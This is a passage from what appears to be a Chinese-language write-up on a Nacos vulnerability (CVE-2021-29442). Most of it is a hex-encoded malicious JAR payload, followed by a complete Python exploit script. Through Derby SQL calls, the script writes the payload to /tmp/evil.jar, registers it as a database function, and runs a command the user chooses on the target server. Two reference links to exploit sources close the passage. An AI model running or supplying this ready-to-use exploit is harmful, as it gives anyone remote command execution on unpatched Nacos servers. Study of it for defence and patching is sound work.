bfab38e61aeca89a2e798a4e67216a690cda8da69b290653b66625e18ba19cc9e228d86d85f8b4c56b353aba65a6d7ca263d1556ec44ddfd9edfdf4ee57a834466d01cb54dae40bfd50f8c5d098d212a88457e981c0ffbe142a75cb4a5acda70c39fab1be33ea783a9e4189fb522b4da064c8fd9b01898f838ad4763e126564331d5b0e4cd9e64d3384ed65db1b4d0363952c37ebfa2af3a3c523c584a6b269151d092c6437f8b6bf9b54d9b765cd504db6d5334eccd8f5b42928f96274d76c40fb4d566ac9eeb564c216f6ba2cd85bce690a5d1b598c70643a0a7eb5b6df17cacced8b5bd49d1583066daedb8d81bea8dc158a259613a234d2d9e2aa6e37aa669e0b8762c2c35ea498ba16028d8b996682d72be547e9861d9a02fd6ad361b8184cf66c99843be712f52cf14b866295bed8ed1d3c9a1a5daca70ac2f961cc4231eeda46d685aaafe88296c6126558ecb5983b942c367ee248ba2bb92ce65874dbe147634728d48d736ead8537dcfa89cb696594c3b863457ea67c352c5c54f9c19ad2e3fb257f2b5788d2bb983652155d6386cf6e0286b1bdb07a996c6ef2b34734583afcb18db8170b1611d3b6cbeb0cfec6627bd52d1edca3042d1d767a4b4ad35e0fc6ebba93a6af90b311dc24674a70a6ea3c5e1d775a21531ce96fa432bcf35dc29f3d8d5e80bd952b0271af54d8f60b4657382c714755475f64ccc960a0a967edaadcf7903a18ad8ac277b099faec3996a16bd771c1d6b136db3b651d69a6cc9812dd3f4e90d63b1684efb73065fdee8aa693526e7185f71c29a44588c3a52565b2d2108922dee6f69c2a346a1cf323d5ba51e29f92bb16a91e1acb57e598847c594d08a6bb501c630ea94bc4d7bdf15776bb51e578dad787549670d77d5e260cc073429fb2861311a2cd158d124d8c3d1722e3a497b46966cad9419e65c03ab3d1c4ec46d91eca4ef8aa4b54cb9500e4e6ae96adb5689f42cdd5abd970ee842038c18266f0a17fd6e0de377d4ca7a6f72ccb37e8bc88d38bf35624e27cdc3122b960689522ad632b83cbeba4b6a46729554b1eff17433094bcf6e4f547c6289e96a9961a15808333a833b24dadd782c0e4871a3de254d3af19661cc706d5b2b1e0ae8cb916ac269718dc65a67b0940c25e38d91d39d4e0b74abb4f8f98854f00e2dbe76a95436175d52ad94d2e9ed255fae511b5bfcb672a3537198ca83ac6762880ee261c6e810f47693bd91cb79bb299f30ce35b565b318d00c9c23612c682b398ed11b8b5a67a6c6f8a3795bdd9d8f064a3a51cf33d92cef993492414b793276e453a6493d3b3488ad3413c88dfbbe9a9f31d91a4225cd07d2017c5d77fa194b6a6888982baebabfa1490deb0521e90f5a4b78bc499a8500da6b101dfbc4b8c61ef7641a1e73181348c2a4659271aee1601263a613b7e85d515724cc56ab950a9be84f9a99b126a68b7bc5b8b367cc0792c64eba1cb0baf9502ae666cb098f94607aa1c2081348b6d51ef8b86a235f3536adcd80bf9ecbb1865adb35b2fab29230f40c32ce6cb555cb8443ac596b098dadba98575373e2aed637714396f36a5aad54c01b8c77582f3b4a891ebf33d1c9fa6af960466bf2764c6367636c157b6db3a6d5a88f63995cd1149d341b423ee195dc669375c2dbc2edbaa3611be43d4ebd3b95d6da2597bd221a4b11ffc0e24dd9fbe641bc1eae177d9e58cf90b6c59259e748db0e729db031a0f71413c1842f1fe56a7d5730a8f76786b1713ec0845c8596ddedee962d23deac89548625472d62d2974a75aec2164437e7174c5cd71632a6ec3e9b33d4e5ed5dfd44c3981d5ed1df30a74d7ed1ca397b5e7b65d01113d16e3b6ef44cbaa1629b4de8ca8648b233197306439fb18762ecc0acf5f3daaad06f26069d468ae94a4c34820ef6942cf54a273910c78981ad31642256b619771bcd465db0de098e9cc9b2d51b1cf6dcba71232556c38df0a0c08f6a9e7eb99d30c52a3153a99228c51c5eab2e5bb2c6229e28e243eb0a47c2d198b19e32c76229bbb63c6a69275a4db9512d6a930ec3d86628c59864558c062dd54c386aacf1439b373611caa1386bd50f4d65c1d0ef68b994a1d88b84ab7eab869bb4ad7e7dd334741bb989dd8c87bd9639c7f679b7cfdfee97fb496b23c90a76739fb1388ae648253cc9189ae1d8c0c0a4b52d51eb48e72639736b1cd68db3d17124c906aa39ad635419746bfa9ca7ea70a8e01de441bcc0432af815f8b082645584254505c9a948899455842315157c167e53055f86dfc5979d3d0a4f5bbdbb0b1dbbde2b52b38a162d9c4ddba20a7e08df55912a8c09dc4c8b696c1ddf469cf8be52153afd76392674e80b534750911a2d7d2c4ddf5d55f0a7f05db9465617efd41138724d554d451aa4a920bc8ab4506cd2261d7c0b4b4a6cbbcc0ae559d54e45baa447e068aad32ab192a755e4ca65eecaa040441591a864ea18be1de2cb259fe58a6cb7ebda596fba6df7ec3d28f6099c28bf29d222d7156b24fa6da9dee2b60d489dd057910119aac8089786118c55644c262af2166afeb7e223fc3e5c54c137e09b28f59e652e54f2aa7e0579ab8abc0dcea9c8dbc93bf05d56451e22efdce596e9cbb98abc8bbc5b45de431edee55ff45367486b9f2af81afc1ebeb6b3e5b2a3dbe5eba8330aed19e04be7d64b2475e65fa21fd141af4682e23ca222ef25efa3dabe1f69c5d7a055910f900faac887c8afa017c987091c13fbedd3adba583aed74243d16937b5ab652915f25932bc52fb9daa3221f21ef98a9799a02e3f456518ca2cfbd55ef5a9ace2170cb6b96a550d0d7aa4751653ebac5e3d52a5194e8632af271f20915f935f24915f975f22915fc397c5f411e5591c7c8a709dcfada051d15f90ce9a8c8e3e43754e409d25391cf92df4400be4e9184c089d72b91a8c89314e637bd46117f0b146881407407ef83bb2bc60456ae7404244e60a50e9a59736da927d01e74a64e4fc921bdb7bcd30a6747f2d264b083e4c657ab1ded2e648c1149aded1a2cca1e13eaed2b95c1ebf6e826a0e8d2271e5739ba57fd947e9da86f6b766c57d17c4b635ae9aab122237f1a983f450bb70b6df961f777942b7531b4c0b402277fcfc02c484b643b97c7f39f90e47a7dae5de2e44af052931b27396479649708d845bf5becea4019aaf4aadcfaa683aaef9263ab0c368fd17d95da5bd53c5cf1e8950f1ebb528efa5a5eb3a23b2e2975b63ef9dcb893ed765e910d7aa0d417040cfdad1d62b795b6bf7a1cdc927f3bb5f2d8986974f2753e916d7f2e6873c3405bc4ada0c46ded1cd3d840cdaa94eb422a1ff3e0d03451f0acc095b7c075ff1e8b5c5b4fdcab6abb5dda3c40539e1c7f75f94bd4c2a982fc7d61c0f27d2e5aa1900aec6430138b16b2a7755c02f63d1cf48b56600f5fb54bd39a3d2b4e63f7e4a957e7b2f3bb96fad48e3e5787a70ad24aabac87d491f95218ddb3e7979205b13ee1e4b00850a2c0de0151e908d380d8876ed832ff22fdba90b902259a8d76d4fae9d0c214413225f25f1c0a75fac14981cf810025d82f75b67338b5befcb5e2865729b3a3bd76a060d6b5fe3a48bbba507f005924fb5d4e284d91ba720db0e827d4ddd6ba06364b18fb2ccdc31496f43cd2e230d9d02f9aa21c2f7b55b59765d389225be5e076e8c059a0ff0ec13ee8810004447cb2c31cb600f67f15c8cadc26ccaf2c3c8d8f7320e17519ef38044a50411f5baa29290c608877428f283336eb78a763f32b8b57a62fc95d87764c9d8709bc459e8ac719a4a2534dd84bc7962fc2527e45711e945773b86e0787e51987b7e16f017bde8e3f3cb8cec4f81ef25ac4bb65f53cec5bdd84e5b0e619d84f20b2f60ca8083c0a3761e300016675fd3c1cdc58585d572f6cc2a17397fffa1c2c84bf825c16408f121dc63b5dff0e541de0183edd885653c309380e77c34d701a6e46ba5bc10cb7c9b2ad22c5dda08077c2bbb075020ec2bbb1358f734ec17be0615972cb4cf24766ba4cc7de8badf761cf7158b88ccbce2be0fd0af880023e08f0129c702ae043d45a782a476ea8e1dc0ff07e10bbc617e148fe3cac8457ae5bb9fe021c7d1e8ee15f84306b1b0bea85672d8bf396a5a34b47179f240ef5c2d125c38642add8841b566edc04f5a3f0b5f517e129b562e5f805b869e5667ab9052fcfc3ad1b4ab572136e7b064e10d8d8a7de3733db43b48576db58562bd5cb9b70fb36fd7ef5fe6d7a955a35a38fd016a53fa0deaf3e80f4ccfa0b707c7d13eed88437acdc29cbb05fb3fe0c9c9c83eccea1bb760f9dbbfcd4b9cb6f3d07432afcdd2f4047becbb4a756ee41dac7e0d8ceae55797a40ee5ad150bdd6f0f2ffb9f87b96c8b9579e3d078736162ec27a5ebd701e4e3fa7791add7123be8d34b741222018a650790342e54e84ca5d088ebbc1890ecec13d182babe8620d9c8335780a23e51b089f6f830efe02a92e81117e8c80fb2942e96fc1426e062b59031bb90fecc407f792029c2145b88bd4c0852b3af06dc64986e0964157c160388741fdab08b503b8c283f011f82846e710c3fb63d8b78cab7f1cff7f1425d3133d7c027e0d14c861193e09bf8eb2238866905492de0ca6c748093e850e9c431dd91988b7003ba5da026c140e5e4685155b803da680c7f04a10eaafc0fd0af8b4023e83307e05b4f2006dff0cccd87e198eff3dccbd047373ebab727b91a27cbf1cd14a5c8e87063c0ebf21e78027f087ef9dd3e8263ce6031a8fef25910ba045173308e3fd1ad97b3a661d9dafdf04c3261823e7a08cc1bd09a60b60be00968dc515eb8a6de9eb60cfcfaf6c24f30b5f857b93f9457add84331b4bea25cc02bfa45e5a4792b3f979f52292cc5f80fb9046bdf82c6d6cc2fdcf837d1a4494fde2c6e2dad328dc514cac772212eec214f46e70a0f814111b3444c18fe3010cf3207a2784940cd2e6913a86d4093040125b29c8401abd90c1f939f44041f66c02d53420fd93f0394c6731c4cae7e1b750f909febe803e572087376f79113d32f5226d518f115cf7613915cde1ea6f872fc297502eea330d2cfc1c8ecafef86d068d7e19de048bb2031f9b76d2744314f03b2fcbe91c5ff6a7399a1cc32515c8a0bbaa599b06cb26381f8585af68565c0b53b39e4d2ec8c65b4b5e0077f61cf818cd8a474e4c5efca349e902f8361669da522f9e073fb53af20a64352bc1190bef8c857a691342321b9a910f631869686a944d7b1a010e28f62134c06128e2580347cb185a1c9abd822ea842186a68dc3aee784dd99c7e947d0303ec9f60f82d20c569781a0db488746f80afc057d1a86be092cd394f75dc366777664eda9a9af37df20e347fb88086fa079cb3b50b1dc61fbe1fcf76b4bf433ed45a819d1660d6a9fe0bb2fe0b54ff6986562f6e42f849b84dbd7814b58e4c8dbb2627a2c5852fd31474f92fe6bf2c6f9d5736a43622aa83db6217b7a01eaa2fc07db8b003db3edc9bb754be1d51f24f6113d54351b6950a6c2b1580f3982be690d719d934f3c8d1229b6601f96a64d32cca2a9f80f9cbc84eb105950b0af0ca41ff0cf2b9ed65a4ba6208252d52cc60338f6b5384b656980b100d6b5662334f2f6140c531708d5387af4ee36b03ff9e0eaf249036b2b6929c47dae7218594049b679184a1997a25bd93c9fab51c64e55665cc4c13f471d9046fc1eb5bb1f7ede8ed7760783d84467aa76c2c132ab00427e10f30b4088edc2bb7e670fc247c5d4e816b68dc67111f94730b9e938f3f8fc82783b9d9cce7b7673e3fc3099e5d9a349ede26636601fe50ce6b3c86e437e09b33a47c0ffba96c672f420677f36cf822e4f27876c9472e4221bf761e1e608e10f803e5c6827c50f9e5bc65f1d37048a35e983f8ab879e3b9cb3f4523bee9e96d78dc2ae3ee1174c27be1084a711cde8f7efb206e3a1fc293de87656dcf4e57847f86c985665c0b7c0b5e40e98f20d58bf04728d9714c52ff1cb7a8799c7b0bfc31d22da03daf877f81609a02e26698a380c0dcb1a180ef28e05f2ae04f688cc1cfe006b2e36ca6a485ba99ae59bcd3f83ab28a1bf39b236ba8cf836b98a3d92bc7bd8332c1c750c08f63987f4216f7c47412fc193a02e4d6bf42f3e3811829be07ff1a67eec4de9fc3f767cbbd88f328f64ee1127744d65e00f51adaaac8acd375d79f6630c6ca9173977f72114a79cd79e09e938f6447d1a5a5196ceec267c0dd7011f7c37d807687cfa0111e478a27e006dc966ec68de936cccc5b103a84c6a712cde3a812d3c90f64c94f6d4b7e6a26f922a69d2fc800dbda59a73d5bc03900f33fa3a6fd373105fc5be5b67a2564f0c36d6b3ab18f1ece0fae6a689cd000c18479f5c9f98bb270c7a694f0ef66821cc4a30715646bc76d202a1fc783ca0fe12fa7dce78ecb675780efacfe21d81f85e555dcfc70dba1a6dc58201b8bea054cdf8b2f4255bdf40214d75e0417cdd9950dc5bc457954a9563cfb249c562b8e2a7133aea2d56b8f827af6587ff6313820b73716cfc1bef72831c1fd299eb1d44b9a3539d8cf60ffe52fe04e8b0ccb1b4be72e3f4617525d84067553f339f522ddaba7721d572f124c09f73fbda1904f68b839b7ce431b6956f7ea46a54ea24146a8f013b2077804f4d731b0f959f8b4f1680fb8ed5d8f1bdf0d98136fc2ac7812f3e03d98097598e0efc5149fc19cfa469cf7203e57e019dc662e22cfe791ebb398639fc394f23c9e92be8181f74d44f2b7103f2fe06a7f84ab7d1bf7e13fc6997f8294df45aa3f939d33410418f13fcdd44a5cc502ff1efe0a9134c1df7f80bfc6eb9710119f84ff88ade7b75be89a6d5c7d67e64edafa4f78a29c935b3f9233faf52821d57401f5d984bfc153c4226af5553c739e438850b469e1e0411782ed1550e255013fc1ebcfe10605fc67b2f6122cceedc7d3d94ff71f4829e0bf1cf4e165076a683653c27fdd7efb3a292f0db0ef2274309b7571fba62f2f57de24bf8fe43fc09ebf9561fadffe11504b07080ac6eb97031d0000bf2e0000504b03040a00000800004160f258000000000000000000000000090000004d4554412d494e462f504b010214001400080808004160f2587f64045e38000000370000001400040000000000000000000000000000004d4554412d494e462f4d414e49464553542e4d46feca0000504b01020a000a00000800004160f25800000000000000000000000004000000000000000000000000007e0000006f72672f504b01020a000a00000800004160f2580000000000000000000000000d00000000000000000000000000a00000006f72672f61706163686567762f504b010214001400080808004160f2580ac6eb97031d0000bf2e00002100000000000000000000000000cb0000006f72672f61706163686567762f5369676e61747572655574696c732e636c617373504b01020a000a00000800004160f25800000000000000000000000009000000000000000000000000001d1e00004d4554412d494e462f504b0506000000000500050039010000441e00000000'
    removal_url = urljoin(target, '/nacos/v1/cs/ops/data/removal')
    derby_url = urljoin(target, '/nacos/v1/cs/ops/derby')
    for i in range(0, sys.maxsize):
        id = ''.join(random.sample('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 8))
        post_sql = f"""
        CALL SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE('values CAST (X''{payload}'' AS BLOB)', '/tmp/evil', ',' ,'"', 'UTF-8', '/tmp/evil.jar')
        CALL sqlj.install_jar('/tmp/evil.jar', 'NACOS.{id}', 0)
        CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath', 'NACOS.{id}')
        CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'
        """
        get_sql = f"select * from (select count(*) as b, S_EXAMPLE_{id}('{command}') as a from config_info) tmp /*ROWS FETCH NEXT*/"
        files = {'file': post_sql}
        post_resp = requests.post(url=removal_url, files=files)
        post_json = post_resp.json()
        if post_json.get('message', None) is None and post_json.get('data', None) is not None:
            print(post_resp.text)
            get_resp = requests.get(url=derby_url, params={'sql': get_sql})
            print(get_resp.text)
            break


def main():
    parser = argparse.ArgumentParser(description='Exploit script for Nacos CVE-2021-29442')
    parser.add_argument('-t', '--target', required=True, help='Target URL')
    parser.add_argument('-c', '--command', required=True, help='Command to execute')
    
    args = parser.parse_args()
    
    exploit(args.target, args.command)

if __name__ == '__main__':
    main()

九、参考链接

  1. https://mp.weixin.qq.com/s/JF5t06jterQ5Czb7rR-EMQ
  2. https://github.com/Conan924/NacosExploit/tree/main